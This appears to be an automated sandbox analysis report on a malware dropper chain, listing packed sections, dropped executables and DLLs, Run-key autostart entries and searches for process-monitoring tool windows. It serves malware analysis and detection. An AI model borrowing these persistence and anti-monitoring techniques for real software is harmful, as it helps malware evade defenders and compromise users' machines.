Source:	Binary string: compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -DOPENSSL_CPUID_OBJ -DOPENSSL_BN_ASM_PART_WORDS -DOPENSSL_IA32_SSE2 -DOPENSSL_BN_ASM_MONT -DOPENSSL_BN_ASM_GF2m -DSHA1_ASM -DSHA256_ASM -DSHA512_ASM -DRC4_ASM -DMD5_ASM -DRMD160_ASM -DAESNI_ASM -DVPAES_ASM -DWHIRLPOOL_ASM -DGHASH_ASM -DECP_NISTZ256_ASM -DPOLY1305_ASM source: Potwierdzenie.exe, 00000008.00000003.2541086201.0000000009253000.00000004.00001000.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000002.3008705922.0000000009C70000.00000004.10000000.00040000.00000000.sdmp
Source:	Binary string: D:\a\php-ftw\php-ftw\php\vs16\x86\obj\Release\php_opcache.pdb source: Potwierdzenie.exe, 00000008.00000003.2540265791.0000000008200000.00000004.00001000.00020000.00000000.sdmp, Potwierdzenie.exe, 00000008.00000003.2540383929.0000000007410000.00000004.00001000.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000002.3001666143.0000000009850000.00000004.10000000.00040000.00000000.sdmp
Source:	Binary string: D:\a\php-ftw\php-ftw\php\vs16\x86\obj\Release\php.pdb$$$UGP source: Potwierdzenie.exe, 0000000A.00000002.2881798543.000000000040C000.00000002.00000001.01000000.00000009.sdmp, Potwierdzenie.exe, 0000000A.00000002.2987607729.0000000008F80000.00000004.10000000.00040000.00000000.sdmp
Source:	Binary string: @ compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -DOPENSSL_CPUID_OBJ -DOPENSSL_BN_ASM_PART_WORDS -DOPENSSL_IA32_SSE2 -DOPENSSL_BN_ASM_MONT -DOPENSSL_BN_ASM_GF2m -DSHA1_ASM -DSHA256_ASM -DSHA512_ASM -DRC4_ASM -DMD5_ASM -DRMD160_ASM -DAESNI_ASM -DVPAES_ASM -DWHIRLPOOL_ASM -DGHASH_ASM -DECP_NISTZ256_ASM -DPOLY1305_ASMOpenSSL 1.1.1w 11 Sep 2023built on: Mon Mar 11 21:05:37 2024 UTCplatform: VC-WIN32OPENSSLDIR: "C:\Program Files (x86)\Common Files\SSL"ENGINESDIR: "C:\usr\local\ssl\lib\engines-1_1"not availabledes(long) source: Potwierdzenie.exe, 00000008.00000003.2541086201.0000000009253000.00000004.00001000.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000002.3008705922.0000000009C70000.00000004.10000000.00040000.00000000.sdmp
Source:	Binary string: D:\my documents\boxedappsdk\boxedappsdk2024-2\source_code\bxsdk\bin\Release_Full\BoxedAppSDK_DLL.pdb source: Potwierdzenie.exe, 00000008.00000003.2534433007.0000000003920000.00000004.00001000.00020000.00000000.sdmp, Potwierdzenie.exe, 00000008.00000003.2547531162.0000000009AF0000.00000004.00001000.00020000.00000000.sdmp, Potwierdzenie.exe, 00000008.00000003.2539211932.00000000071E0000.00000004.00001000.00020000.00000000.sdmp, Potwierdzenie.exe, 00000008.00000003.2534176518.0000000003710000.00000004.00001000.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000002.2993402440.0000000009380000.00000004.10000000.00040000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000002.3026603535.000000000BCCD000.00000002.10000000.00040000.00000000.sdmp
Source:	Binary string: D:\a\php-ftw\php-ftw\php\vs16\x86\obj\Release\php8.pdb source: Potwierdzenie.exe, 00000008.00000003.2537340630.0000000006B99000.00000004.00001000.00020000.00000000.sdmp, Potwierdzenie.exe, 00000008.00000003.2538400124.00000000073A9000.00000004.00001000.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000002.2986280038.0000000008D80000.00000004.10000000.00040000.00000000.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.4d0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;vcuubckp:EW;ylpzvsgj:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;vcuubckp:EW;ylpzvsgj:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 1.2.skotes.exe.630000.0.unpack :EW;.rsrc:W;.idata :W; :EW;vcuubckp:EW;ylpzvsgj:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;vcuubckp:EW;ylpzvsgj:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 2.2.skotes.exe.630000.0.unpack :EW;.rsrc:W;.idata :W; :EW;vcuubckp:EW;ylpzvsgj:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;vcuubckp:EW;ylpzvsgj:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Unpacked PE file: 10.2.Potwierdzenie.exe.400000.0.unpack .text:EW;.itext:ER;.data:W;.bss:W;.idata:W;.didata:W;.edata:R;.tls:W;.rdata:R;.reloc:R;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;
Source: C:\Users\user\AppData\Local\Temp\1007255001\7cda1b2e6f.exe	Unpacked PE file: 44.2.7cda1b2e6f.exe.330000.0.unpack :EW;.rsrc:W;.idata :W;xzifghis:EW;jqrynsft:EW;.taggant:EW; vs :ER;.rsrc:W;

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe

Unpacked PE file: 10.2.Potwierdzenie.exe.400000.0.unpack

Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe

Code function: 10_2_0BC1E639 CreateFileW,GetFileSize,ReadFile,CloseHandle,LoadLibraryExW,FreeLibrary,CoInitialize,LoadLibraryW,GetProcAddress,memcpy,memcpy,SysAllocString,SysAllocString,memcpy,GetFileAttributesW,SysAllocString,SysFreeString,LoadLibraryW,GetProcAddress,VariantInit,VariantInit,VariantInit,SafeArrayCreateVector,SysAllocString,SafeArrayPutElement,LocalFree,SysAllocString,SysFreeString,SafeArrayDestroy,SysAllocString,SysFreeString,SysFreeString,Sleep,Sleep,memcpy,memcpy,GetFileAttributesW,BoxedAppSDK_CreateVirtualFileW,WriteFile,CloseHandle,DeleteFileW,memcpy,memcpy,GetFileAttributesW,CoUninitialize,FreeLibrary,

10_2_0BC1E639

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: random[1].exe.6.dr	Static PE information: real checksum: 0x1d75d9 should be: 0x1d20a8
Source: 9774c44c62.exe.6.dr	Static PE information: real checksum: 0x43a323 should be: 0x43aeb3
Source: 4dfaa8fc03.exe.6.dr	Static PE information: real checksum: 0x1c521a should be: 0x1ce44a
Source: random[1].exe2.6.dr	Static PE information: real checksum: 0x2a66bf should be: 0x2afb58
Source: d84bd44db0.exe.6.dr	Static PE information: real checksum: 0x1d75d9 should be: 0x1d20a8
Source: 7cda1b2e6f.exe.6.dr	Static PE information: real checksum: 0x2a66bf should be: 0x2afb58
Source: file.exe	Static PE information: real checksum: 0x1dcd4a should be: 0x1d8d98
Source: skotes.exe.0.dr	Static PE information: real checksum: 0x1dcd4a should be: 0x1d8d98
Source: random[1].exe0.6.dr	Static PE information: real checksum: 0x1c521a should be: 0x1ce44a
Source: random[2].exe.6.dr	Static PE information: real checksum: 0x43a323 should be: 0x43aeb3

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: vcuubckp
Source: file.exe	Static PE information: section name: ylpzvsgj
Source: file.exe	Static PE information: section name: .taggant
Source: skotes.exe.0.dr	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name: .idata
Source: skotes.exe.0.dr	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name: vcuubckp
Source: skotes.exe.0.dr	Static PE information: section name: ylpzvsgj
Source: skotes.exe.0.dr	Static PE information: section name: .taggant
Source: Potwierdzenie[1].exe.6.dr	Static PE information: section name: .didata
Source: Potwierdzenie.exe.6.dr	Static PE information: section name: .didata
Source: random[1].exe.6.dr	Static PE information: section name:
Source: random[1].exe.6.dr	Static PE information: section name: .rsrc
Source: random[1].exe.6.dr	Static PE information: section name: .idata
Source: random[1].exe.6.dr	Static PE information: section name:
Source: random[1].exe.6.dr	Static PE information: section name: iqfuznvg
Source: random[1].exe.6.dr	Static PE information: section name: wyslmexk
Source: random[1].exe.6.dr	Static PE information: section name: .taggant
Source: d84bd44db0.exe.6.dr	Static PE information: section name:
Source: d84bd44db0.exe.6.dr	Static PE information: section name: .rsrc
Source: d84bd44db0.exe.6.dr	Static PE information: section name: .idata
Source: d84bd44db0.exe.6.dr	Static PE information: section name:
Source: d84bd44db0.exe.6.dr	Static PE information: section name: iqfuznvg
Source: d84bd44db0.exe.6.dr	Static PE information: section name: wyslmexk
Source: d84bd44db0.exe.6.dr	Static PE information: section name: .taggant
Source: random[1].exe0.6.dr	Static PE information: section name:
Source: random[1].exe0.6.dr	Static PE information: section name: .idata
Source: random[1].exe0.6.dr	Static PE information: section name:
Source: random[1].exe0.6.dr	Static PE information: section name: bovqhner
Source: random[1].exe0.6.dr	Static PE information: section name: fuiaraiv
Source: random[1].exe0.6.dr	Static PE information: section name: .taggant
Source: 4dfaa8fc03.exe.6.dr	Static PE information: section name:
Source: 4dfaa8fc03.exe.6.dr	Static PE information: section name: .idata
Source: 4dfaa8fc03.exe.6.dr	Static PE information: section name:
Source: 4dfaa8fc03.exe.6.dr	Static PE information: section name: bovqhner
Source: 4dfaa8fc03.exe.6.dr	Static PE information: section name: fuiaraiv
Source: 4dfaa8fc03.exe.6.dr	Static PE information: section name: .taggant
Source: random[1].exe2.6.dr	Static PE information: section name:
Source: random[1].exe2.6.dr	Static PE information: section name: .idata
Source: random[1].exe2.6.dr	Static PE information: section name: xzifghis
Source: random[1].exe2.6.dr	Static PE information: section name: jqrynsft
Source: random[1].exe2.6.dr	Static PE information: section name: .taggant
Source: 7cda1b2e6f.exe.6.dr	Static PE information: section name:
Source: 7cda1b2e6f.exe.6.dr	Static PE information: section name: .idata
Source: 7cda1b2e6f.exe.6.dr	Static PE information: section name: xzifghis
Source: 7cda1b2e6f.exe.6.dr	Static PE information: section name: jqrynsft
Source: 7cda1b2e6f.exe.6.dr	Static PE information: section name: .taggant
Source: random[2].exe.6.dr	Static PE information: section name:
Source: random[2].exe.6.dr	Static PE information: section name: .rsrc
Source: random[2].exe.6.dr	Static PE information: section name: .idata
Source: random[2].exe.6.dr	Static PE information: section name:
Source: random[2].exe.6.dr	Static PE information: section name: mcbbabgn
Source: random[2].exe.6.dr	Static PE information: section name: nvcadkig
Source: random[2].exe.6.dr	Static PE information: section name: .taggant
Source: 9774c44c62.exe.6.dr	Static PE information: section name:
Source: 9774c44c62.exe.6.dr	Static PE information: section name: .rsrc
Source: 9774c44c62.exe.6.dr	Static PE information: section name: .idata
Source: 9774c44c62.exe.6.dr	Static PE information: section name:
Source: 9774c44c62.exe.6.dr	Static PE information: section name: mcbbabgn
Source: 9774c44c62.exe.6.dr	Static PE information: section name: nvcadkig
Source: 9774c44c62.exe.6.dr	Static PE information: section name: .taggant
Source: freebl3.dll.20.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.20.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.20.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.20.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.20.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.20.dr	Static PE information: section name: .didat

Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Code function: 10_3_04A542EB push eax; ret	10_3_04A542ED
Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Code function: 10_3_04A542D2 push eax; ret	10_3_04A542D9
Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Code function: 10_3_04A542EB push eax; ret	10_3_04A542ED
Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Code function: 10_3_04A542D2 push eax; ret	10_3_04A542D9
Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Code function: 10_3_04A542EB push eax; ret	10_3_04A542ED
Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Code function: 10_3_04A542D2 push eax; ret	10_3_04A542D9
Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Code function: 10_3_04A0AD98 push ebx; retf	10_3_04A0AD99
Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Code function: 10_3_04A0AD98 push ebx; retf	10_3_04A0AD99
Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Code function: 10_3_04A0C008 push esp; retf	10_3_04A0C019
Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Code function: 10_3_04A0C008 push esp; retf	10_3_04A0C019
Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Code function: 10_3_04A542EB push eax; ret	10_3_04A542ED
Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Code function: 10_3_04A542D2 push eax; ret	10_3_04A542D9
Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Code function: 10_3_04A0C008 push esp; retf	10_3_04A0C019
Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Code function: 10_3_04A0C008 push esp; retf	10_3_04A0C019
Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Code function: 10_3_04A0AD98 push ebx; retf	10_3_04A0AD99
Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Code function: 10_3_04A0AD98 push ebx; retf	10_3_04A0AD99
Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Code function: 10_3_04A542EB push eax; ret	10_3_04A542ED
Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Code function: 10_3_04A542D2 push eax; ret	10_3_04A542D9
Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Code function: 10_3_04A542EB push eax; ret	10_3_04A542ED
Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Code function: 10_3_04A542D2 push eax; ret	10_3_04A542D9
Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Code function: 10_3_04A542EB push eax; ret	10_3_04A542ED
Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Code function: 10_3_04A542D2 push eax; ret	10_3_04A542D9
Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Code function: 10_2_007C5E1E push ecx; mov dword ptr [esp], edx	10_2_007C5E21
Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Code function: 10_2_007C5E0C push ecx; mov dword ptr [esp], edx	10_2_007C5E0D
Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Code function: 10_2_007C5AB8 push ecx; mov dword ptr [esp], edx	10_2_007C5AB9
Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Code function: 10_2_007C6130 push ecx; mov dword ptr [esp], ecx	10_2_007C6133
Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Code function: 10_2_007C61D8 push ecx; mov dword ptr [esp], edx	10_2_007C61D9
Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Code function: 10_2_005C8C69 pushfd ; retf 0002h	10_2_005C8C6A
Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Code function: 10_2_00636A3D push eax; mov dword ptr [esp], ebx	10_2_00636A51
Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Code function: 10_2_00636A3D push 7C4926D5h; mov dword ptr [esp], edi	10_2_00636A76
Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Code function: 10_2_00636A3D push 7DB1C117h; mov dword ptr [esp], ebx	10_2_00636AB9

Source: file.exe	Static PE information: section name: entropy: 7.985347393706512
Source: file.exe	Static PE information: section name: vcuubckp entropy: 7.953569349357789
Source: skotes.exe.0.dr	Static PE information: section name: entropy: 7.985347393706512
Source: skotes.exe.0.dr	Static PE information: section name: vcuubckp entropy: 7.953569349357789
Source: random[1].exe.6.dr	Static PE information: section name: entropy: 7.985839510985489
Source: random[1].exe.6.dr	Static PE information: section name: iqfuznvg entropy: 7.954125999572365
Source: d84bd44db0.exe.6.dr	Static PE information: section name: entropy: 7.985839510985489
Source: d84bd44db0.exe.6.dr	Static PE information: section name: iqfuznvg entropy: 7.954125999572365
Source: random[1].exe0.6.dr	Static PE information: section name: bovqhner entropy: 7.953775713188497
Source: 4dfaa8fc03.exe.6.dr	Static PE information: section name: bovqhner entropy: 7.953775713188497
Source: random[1].exe2.6.dr	Static PE information: section name: entropy: 7.806195502583827
Source: 7cda1b2e6f.exe.6.dr	Static PE information: section name: entropy: 7.806195502583827
Source: random[2].exe.6.dr	Static PE information: section name: mcbbabgn entropy: 7.955672035343014
Source: 9774c44c62.exe.6.dr	Static PE information: section name: mcbbabgn entropy: 7.955672035343014

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[2].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1007255001\7cda1b2e6f.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1007254001\3c0b9f98b1.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\Potwierdzenie[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1007256001\9774c44c62.exe	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file

Boot Survival

Creates multiple autostart registry keys

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 4dfaa8fc03.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 7cda1b2e6f.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run d84bd44db0.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 3c0b9f98b1.exe	Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1007255001\7cda1b2e6f.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1007255001\7cda1b2e6f.exe	Window searched: window name: PROCMON_WINDOW_CLASS
